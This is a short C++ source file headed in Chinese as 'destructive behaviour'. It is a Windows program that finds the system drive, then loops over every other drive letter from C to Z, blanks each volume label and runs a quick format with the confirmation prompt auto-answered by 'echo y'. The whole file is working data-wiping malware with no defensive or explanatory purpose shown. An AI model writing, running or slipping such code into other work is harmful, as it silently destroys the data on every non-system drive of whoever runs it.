format_drive.cpp

破壞行為

#include<windows.h>
#include<iostream.h>
#include<string.h>
#include<stdio.h>

void main()
{

	char buf[256];
	char curr_drive[256];
	char* szCommandFormat = "echo y|Format %c: /Q";
	char* Label="%c:\\";
	char* name="";
	char szLabel[20];
    char szCommand[200];
	char drive;
	memset(buf, 0, 256);
	memset(curr_drive, 0,256);
	
	GetWindowsDirectory(buf,256);
	strncpy(curr_drive,buf,1);

	for (drive = 'C'; drive <= 'Z'; drive++)
	{
	
		if(*curr_drive==drive)
		{
			cout<<"current drive is "<<curr_drive<<endl<<drive<<endl;
		}
	    else
		{
			sprintf(szLabel,Label,drive);
			SetVolumeLabel(szLabel,name);
			sprintf(szCommand,szCommandFormat,drive);
			
			system(szCommand);
			
		}
	
	}
}